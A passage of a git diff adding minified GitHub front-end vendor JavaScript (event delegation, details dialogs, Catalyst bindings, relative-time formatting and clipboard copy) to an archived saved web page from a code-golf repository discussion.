n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var 